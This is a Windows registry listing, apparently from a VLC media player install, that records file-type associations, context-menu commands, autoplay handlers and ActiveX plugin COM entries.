[HKCR\VLC.ac3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.spx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell]
"(Default)" = "Open"

[HKCR\VLC.qcp]
"(Default)" = "VLC media file (.qcp)"

[HKCR\VLC.cue\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mov" = "VLC.mov"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell]
"(Default)" = "Open"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\Version]
"(Default)" = "1.0"

[HKCR\VLC.drc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ifo\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.amr]
"(Default)" = "VLC.amr"

[HKCR\VLC.wma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".PLS" = ""

[HKCR\VLC.ogv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".APE" = ""

[HKCR\VLC.mpe\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".a52" = "VLC.a52"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.adt\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.snd\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CDA" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rec" = "VLC.rec"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\.sdp]
"(Default)" = "VLC.sdp"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.m2t\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.b4s\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64]
"(Default)" = "VLC media file (.w64)"

[HKCR\VLC.adts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mxf" = ""

[HKCR\VLC.qcp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.divx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe]
"FriendlyAppName" = "VLC media player"

[HKCR\VLC.mpc\shell]
"(Default)" = "Open"

[HKCR\.qcp]
"(Default)" = "VLC.qcp"

[HKCR\VLC.nsv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.adts\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".qcp" = ""

[HKCR\VLC.nsv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.ogg]
"(Default)" = "VLC.ogg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Action" = "Play DVD movie"

[HKCR\VLC.avi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf\shell]
"(Default)" = "Open"

[HKCR\VLC.xspf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.avi\shell]
"(Default)" = "Open"

[HKCR\VLC.mid\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"URLInfoAbout" = "http://www.videolan.org/"

[HKCR\VLC.ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2t]
"(Default)" = "VLC media file (.m2t)"

[HKCR\VLC.mp3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mxf]
"(Default)" = "VLC.mxf"

[HKCR\VLC.ogm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m1v" = ""

[HKCR\VLC.snd\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VideoLAN.VLCPlugin.1]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.au\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.caf]
"(Default)" = "VLC media file (.caf)"

[HKCR\VLC.wma\shell\Open]
"(Default)" = "Play"

[HKCR\.mp3]
"(Default)" = "VLC.mp3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.it\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.VCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wav\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.flac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.VCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.m3u8\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aif\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".bin" = "VLC.bin"

[HKCR\VLC.oga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.m2v]
"(Default)" = "VLC.m2v"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.dts]
"(Default)" = "VLC.dts"

[HKCR\.wma]
"(Default)" = "VLC.wma"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.flac]
"(Default)" = "VLC.flac"

[HKCR\VLC.mpe\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.mpeg2]
"(Default)" = "VLC.mpeg2"

[HKCR\VLC.m3u\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell\Open]
"(Default)" = "Play"

[HKCR\.ts]
"(Default)" = "VLC.ts"

[HKCR\VLC.flv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AC3" = ""

[HKCR\VLC.tts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.w64\shell]
"(Default)" = "Open"

[HKCR\Directory\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.wv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mkv" = ""

[HKCR\VLC.cda\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mtv]
"(Default)" = "VLC.mtv"

[HKCR\VLC.mtv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AAC" = "VLC.aac"

[HKCR\VLC.vob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mka" = ""

[HKCR\VLC.mlp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell]
"(Default)" = "Open"

[HKCR\VLC.bin\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aifc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.nsv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.CDAudio]
"(Default)" = "VLC CD Audio"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.ifo\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell]
"(Default)" = "Open"

[HKCR\VLC.m4p]
"(Default)" = "VLC media file (.m4p)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MOD" = "VLC.mod"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tod" = ""

[HKCR\VLC.mp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.au]
"(Default)" = "VLC media file (.au)"

[HKCR\VLC.rmi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.snd]
"(Default)" = "VLC media file (.snd)"

[HKCR\VLC.xspf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.asf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.flv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.SVCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3g2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.a52\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aac]
"(Default)" = "VLC.aac"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.w64\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.rmvb]
"(Default)" = "VLC.rmvb"

[HKCR\VLC.wav\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".TTA" = "VLC.tta"

[HKCR\VLC.rmvb\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ogm]
"(Default)" = "VLC.ogm"

[HKCR\VLC.mpeg4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.divx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tts" = "VLC.tts"

[HKCR\.rm]
"(Default)" = "VLC.rm"

[HKCR\.ram]
"(Default)" = "VLC.ram"

[HKCR\VLC.dts]
"(Default)" = "VLC media file (.dts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rm" = "VLC.rm"

[HKCR\VLC.m4a\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vlc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ape\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.bin\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Action" = "Play audio CD"

[HKCR\VLC.snd\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wma" = ""

[HKCR\VLC.aif\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gp]
"(Default)" = "VLC.3gp"

[HKCR\VLC.vob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.ac3]
"(Default)" = "VLC.ac3"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M4A" = "VLC.m4a"

[HKCR\VLC.vob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg1\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aifc" = ""
".aiff" = ""

[HKCR\VLC.dv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4p" = "VLC.m4p"

[HKCR\VLC.m4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4v" = "VLC.m4v"

[HKCR\VLC.mpv2\shell]
"(Default)" = "Open"

[HKCR\VLC.voc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dts" = "VLC.dts"

[HKCR\VLC.tts]
"(Default)" = "VLC media file (.tts)"

[HKCR\VLC.avi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ac3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ram\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.cda]
"(Default)" = "VLC.cda"

[HKCR\VLC.pls\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".FLAC" = "VLC.flac"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.caf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf]
"(Default)" = "VLC media file (.gxf)"

[HKCR\VLC.m2ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.webm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0]
"(Default)" = "VideoLAN VLC ActiveX Plugin"

[HKCR\VLC.tod\shell\Open]
"(Default)" = "Play"

[HKCR\.m2t]
"(Default)" = "VLC.m2t"

[HKCR\VLC.ogg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2t\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vro\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKCR\VLC.vlc]
"(Default)" = "VLC media file (.vlc)"

[HKCR\VLC.webm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.DVDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.mpg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mov\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.3ga]
"(Default)" = "VLC.3ga"

[HKCR\.wav]
"(Default)" = "VLC.wav"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.divx]
"(Default)" = "VLC.divx"

[HKCR\VLC.oga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.gxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MID" = "VLC.mid"

[HKCR\VLC.a52\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.s3m]
"(Default)" = "VLC media file (.s3m)"

[HKCR\VLC.flac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp4v]
"(Default)" = "VLC.mp4v"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".oma" = "VLC.oma"

[HKCR\VLC.tts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDMovieOnArrival]
"VLCPlayDVDMovieOnArrival" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
